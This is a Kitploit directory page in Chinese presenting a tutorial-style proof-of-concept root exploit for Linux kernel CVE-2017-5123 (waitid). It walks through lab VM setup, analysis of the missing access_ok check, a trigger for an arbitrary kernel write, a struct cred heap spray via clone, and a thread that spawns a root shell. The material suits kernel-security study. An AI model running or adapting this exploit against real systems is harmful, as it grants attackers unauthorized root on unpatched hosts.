Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-5123 — PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR | Kitploit
工具/GitHubGitHub/c3r34lk1ll3r/cve-2017-5123
权限提升漏洞利用学习与教育二进制利用实验室与实践
GitHubc3r34lk1ll3r/cve-2017-5123

CVE-2017-5123

PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR

查看仓库
33446年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-5123

PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR

上游内核中的 waitid 实现未限制复制信息结果的目标位置。这可能允许本地用户写入原本受保护的内核内存,从而导致权限提升。

介绍

在这篇小文章中,我将分析一个允许我们获取 root 权限的内核漏洞。

本文分为四个部分:

  1. 虚拟机设置;
  2. 漏洞分析;
  3. 漏洞利用;
  4. PoC。

我想指出,有许多更好的方法来利用此 CVE(实际上,这只是一个用于学习内核的 PoC,不能用于 实际攻击),但我认为这种方法可以作为内核漏洞利用的入门。

虚拟机设置

内核编译

此漏洞是在 4c48abe91be0 中引入的,因此我们需要编译该版本的内核。

这可能有点棘手,因为这是一个旧版本,代码可能需要补丁。 我创建了一个仓库,其中包含已打补丁的内核代码和一个 .config 文件,你可以 克隆并编译。

root@kitploit:~
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

注意,此内核将使用 virtio 驱动编译,因此你可以使用 virtio 磁盘 在宿主机和虚拟机之间共享文件。

根文件系统设置

现在,我们将创建初始 rootfs:

root@kitploit:~
qemu-img create -f raw hda.raw 10G
# 格式化磁盘为 ext4
mkfs.ext4 ./hda.raw 
# 为镜像创建挂载点
mkdir /tmp/mount1
# 挂载磁盘
sudo mount -o loop ./hda.raw /tmp/mount1

然后,我们需要安装一个基本的 Linux 发行版,例如使用 pacstrap 或 debootstrap。

root@kitploit:~
sudo pacstrap /tmp/mount1 base base-devel vim

最后,我们可以修改系统:

root@kitploit:~
# 添加一个 'test' 用户
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# 无密码
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# 我们可以挂载 virtio 磁盘,以便在宿主机和客户机之间共享文件
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# 拥有 sudo 权限很有用
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

如果一切正常,我们现在可以用 qemu 启动我们的测试系统:

root@kitploit:~
qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

漏洞

CVE 的描述指出,在 waitid 系统调用期间存在不受限制的写入操作。

让我们打开 kernel/exit.c 并查看代码:

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

这个函数相当直接:经过几次检查后,多次调用 unsafe_put_user(...),然后函数返回。

该函数的主要部分由 unsafe_put_user(...) 函数组成,所以我们来看一下(arch/x86/include/asm/uaccess.h):

root@kitploit:~
/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

注释中有一个 非常重要的警告:如果你想使用 unsafe_put/get_user,你应该先调用 access_ok(),并用 user_access_begin/end() 将它们包围起来。

如果我们看看前面的代码(waitid),会发现 access_ok() 从未被调用,因此系统调用 违反了 此 警告。

但这些宏是什么呢?

SMAP/SMEP

SMAP 和 SMEP 是内核引入的两个安全特性,旨在增加编写漏洞利用的难度。需要注意的是,这些特性由 CPU 强制执行。

SMEP 防止在 CPU 处于超级用户模式时 执行 用户空间代码;而 SMAP 则阻止对用户内存的 读/写 访问。

内核需要向用户内存写入/读取数据,这可以通过两种方式完成:

  1. 使用如 copy_from_user 等函数将内存复制到内核空间;
  2. 临时禁用 SMAP

正如我们在 unsafe_put_user 的定义中看到的,该函数只会将 x 的值复制到 ptr 指向的内存(如果出错则跳转到 err_label)。我们刚刚提到内核无法访问用户空间,因为 SMAP,这就是为什么这些函数应该被包裹在 user_access_begin/end() 之间。

root@kitploit:~
#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

我们可以看到,user_access_begin/end 实际上就是 ASM 指令 stac 和 clac。

  • stac:“设置 EFLAGS 寄存器中的 AC 标志位。这可能会启用用户模式数据访问的对齐检查。即使 CR4 寄存器中设置了 SMAP 位,这也允许显式的超级用户模式数据访问到用户模式页面。”
  • clac:“清除 EFLAGS 寄存器中的 AC 标志位。这会禁用任何用户模式数据访问的对齐检查。如果 CR4 寄存器中设置了 SMAP 位,这会禁止显式的超级用户模式数据访问到用户模式页面。”

基本上,这两个宏用于启用/禁用 SMAP。

我们之前的“警告”还提到了 access_ok 函数:

root@kitploit:~
/**
 * access_ok: - 检查用户空间指针是否有效
 * @type: 访问类型:%VERIFY_READ 或 %VERIFY_WRITE。注意
 *        %VERIFY_WRITE 是 %VERIFY_READ 的超集——如果可以安全
 *        地写入一个块,那么从中读取也总是安全的。
 * @addr: 要检查的块开始的用户空间指针
 * @size: 要检查的块的大小
 *
 * 上下文:仅用户上下文。如果启用了页面错误,此函数可能会休眠。
 *
 * 检查用户空间中指向内存块的指针是否有效。
 *
 * 如果内存块可能有效,则返回 true(非零),如果确定无效,则返回 false(零)。
 *
 * 注意,根据架构,此函数可能仅检查指针是否在用户空间范围内——调用此函数后,
 * 内存访问函数仍可能返回 -EFAULT。
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

这里的注释不言而喻:此宏检查指针是否是有效的 用户空间指针。

任意写入

让我们再看看 waitid 的代码:

root@kitploit:~
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

正如你已猜到的,缺少 access_ok() 导致可以 在内存中任意写入,因为 infop 指针完全由攻击者控制。

触发漏洞

很容易到达易受攻击的路径,我们可以用下面的简单代码创建一个 触发器:

root@kitploit:~
int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] Trying to overwrite 0x%016lx\r", where);
  //int pid = fork(); // 也可以使用 fork 系统调用
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // 我们需要等待线程
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

这段简单的代码将触发漏洞,并向 where 地址指向的内存写入数据。

如果需要,我们可以使用 gdb 检查这个触发器。例如,我们可以选择一个 任意 地址,并使用 trigger_bug 函数覆盖它。

漏洞利用

此漏洞有多种利用方式,但我更喜欢一种非常简单的方法。

请记住,我们可以写入我们想要的任何位置,但写入的数据是部分受控的。我们可以用 0 覆盖一个地址。

基本思想是覆盖我们进程的 UID 并成为 root,但我们首先需要了解 Linux 中的凭据是什么。

Fork

我们从研究 fork 系统调用开始。该函数用于创建新进程。

我们可以查看 kernel/fork.c 中的代码:

root@kitploit:~
SYSCALL_DEFINE0(fork)
{
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}

因此,fork 系统调用仅仅是带有 硬编码 参数的 _do_fork 的包装器。

最后一个函数有点长,但我们可以这样总结:

root@kitploit:~
long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;
  ......

  // 这将创建另一个 task_struct,但不会启动进程。 
	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	add_latent_entropy();
  ......
    // 唤醒新创建的任务。这将把任务状态设置为 RUNNING 并放入运行队列
		wake_up_new_task(p);
  ......
		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

此函数将分配一个新的 task_struct 对象。虽然这个结构非常重要(它描述了一个进程),但我们将重点关注 cred 字段:

root@kitploit:~
...
	/* 进程凭据: */
	/* 附加时的跟踪器凭据: */
	const struct cred __rcu		*ptracer_cred;

	/* 主观任务凭据(COW): */
	const struct cred __rcu		*real_cred;

	/* 有效(可覆盖)主观任务凭据(COW): */
	const struct cred __rcu		*cred;
  ...

如我们所见,有一个(三个)指向 struct cred 的指针。让我们看看这个结构的组成(include/linux/cred.h):

root@kitploit:~
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* 订阅的进程数 */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* 任务的真实 UID */
	kgid_t		gid;		/* 任务的真实 GID */
	kuid_t		suid;		/* 任务的保存 UID */
	kgid_t		sgid;		/* 任务的保存 GID */
	kuid_t		euid;		/* 任务的有效 UID */
	kgid_t		egid;		/* 任务的有效 GID */
	kuid_t		fsuid;		/* VFS 操作的 UID */
	kgid_t		fsgid;		/* VFS 操作的 GID */
  ......

如我们所见,进程的 UID 只是一个 无符号整数(参见 kuid_t 的定义),因此我们可以简单地将此值覆盖为 0 以获得 root 权限。

Copy_process

task_struct 结构在 copy_process 函数中分配,该函数有点复杂,其主要目标是将进程“复制”成一个新的进程。

我们可以关注 copy_creds(p, clone_flags),它定义为:

root@kitploit:~
/*
 * 为由 fork() 创建的新进程复制凭据
 *
 * 如果可能,我们共享,但在某些情况下我们必须生成新的集合。
 *
 * 新进程将当前进程的主观凭据作为其客观和主观凭据
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

正如我们所看到的,此函数调用 prepare_creds,其中执行了真正的分配。

我们现在有了一条路径来分配(伪)任意数量的 struct cred:

  1. _do_fork()
  2. copy_process()
  3. copy_creds()

我们最后的问题是如何从用户空间调用 _do_fork()。我们可以使用 fork,但这可能很慢,所以我们将改用 clone。

注意:我们不能使用 pthread,因为标志问题:如果你查看 copy_creds 的代码,你会注意到有一条路径没有真正分配结构。

整合

现在,一个小总结:

  1. 我们可以触发漏洞并向内存中写入数据
  2. 我们知道可以将 0 写入内存
  3. 我们知道如果覆盖一个进程的 UID 为 0,它将获得 root 权限。

现在我们需要知道在内存中 哪里 写入,虽然 KASLR 被禁用,但单个 struct cred 的地址不够稳定,所以我决定使用 内存喷洒。

喷洒

我们需要在内存中找到 struct cred,以便检测一个地址范围。我们可以使用 gdb 和 python 以及像这个这样的脚本:

root@kitploit:~
....
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format(
    #    address=task,
    #    pid=task["pid"],
    #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # 插入你的可执行文件名
    if comm == "exploit":
        print(task['cred'])
....

注意:此脚本仅在 KASLR 禁用且有调试符号(我们需要 init_task 指针)时有效。 我们可以尝试几次,看到堆是向下增长的,所以我们可以尝试一个较低的地址,然后向高地址移动。

现在我们可以使用 clone 系统调用来生成大量进程,借助 gdb 我们可以检查地址:

root@kitploit:~
stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    // spray_thread 函数可以简单地是一个无限循环
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] Process created: %d\r", x);
    }

注意:你可能无法生成超过 4k 个进程。如果是这种情况,请检查 ulimits。

PoC

最后,我们可以编写我们的 PoC。

只需使用不同的地址(搜索结构)调用 trigger_bug,同时我们生成的线程检查其 UID,如下所示:

root@kitploit:~
struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// 喷洒的线程
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // 循环调用 getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // 如果返回的 UID 与之前不同,则我们命中了一个 struct cred 区域
    if (uid != previous_one){
      printf("WIN!! with %d", uid);
      // 杀死其他线程以稳定系统
      glob_var.one_win = 1;
      // 简单地生成一个 shell
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}

命中结构的概率为 50%,因此运行几次后你可以获得 root 权限。

Root

结论

这是一个(基础的)PoC,喷洒远非完美。这仅仅是对迷人内核世界的“入门”,我跳过了很多概念,但它们非常重要(如内存管理)。如果你想更深入地学习,可以查看 prepare_creds 和内存分配。

KASLR 被禁用,但此漏洞同样允许绕过此缓解措施(unsafe_put_user 不会因无效地址而崩溃),但我认为如果你的目标是学习内核,添加一个新的“暴力枚举层”并没有用。如果你的目标是在 实际攻击 中使用此漏洞,你应该编写不同的漏洞利用(至少,不同的喷洒)。

思考:我使用此漏洞来理解和尝试 ret2dir 技术(提示:你可以在别名地址触发写入,并通过用户空间地址读取修改)。

参考

  • https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  • https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
下载工具